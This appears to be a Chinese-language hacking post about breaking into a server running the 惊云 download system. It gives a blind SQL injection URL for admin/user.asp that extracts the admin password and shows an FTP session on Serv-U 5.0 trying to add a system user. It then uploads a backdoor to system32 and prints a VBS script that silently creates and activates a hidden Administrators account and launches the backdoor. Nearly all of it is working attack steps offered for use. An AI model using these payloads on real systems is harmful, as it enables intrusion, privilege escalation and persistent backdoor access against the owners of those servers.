前几天听一树说了惊云下载系统的漏洞 问题文件出在admin/user.asp 提交 http://www.xxx.com/down/admin/user.asp?user=admin' and asc(mid(pwd,1,1))>37 and '1'='1 就相当于: select * from UserInfo where user='admin' and asc(mid(pwd,1,1))>37 and '1'='1'"
用我新建的用户和密码连接～ 好的，还是连上了 ftp ftp>open ip Connected to ip. 220 Serv-U FTP Server v5.0.0.4 for WinSock ready... User (ip:(none)): id //输入构造的用户 331 User name okay, please send complete E-mail address as password. Password:password //密码 230 User logged in, proceed. ftp> cd winnt //进入win2k的winnt目录，如果是winxp或者是windows server 2003就应该为windows目录。 250 Directory changed to /WINNT ftp>cd system32 //进入system32目录 250 Directory changed to /WINNT/system32 ftp>quote site exec net.exe user rover rover1234 /add //利用系统的net.exe文件加用户。 提示没有权限～郁闷～ 但是我们有对C盘的访问权限了是不～hoho～ 把后门（server.exe）传他system32目录 然后写一个VBs教本 set wshshell=createobject ("wscript.shell") a=wshshell.run ("cmd.exe /c net user tsinternetuser rover1234 /add",0) b=wshshell.run ("cmd.exe /c net localgroup Administrators tsinternetuser /add",0) b=wshshell.run ("cmd.exe /c net user tsinternetuser /active:yes",0) b=wshshell.run ("cmd.exe /c server.exe",0)
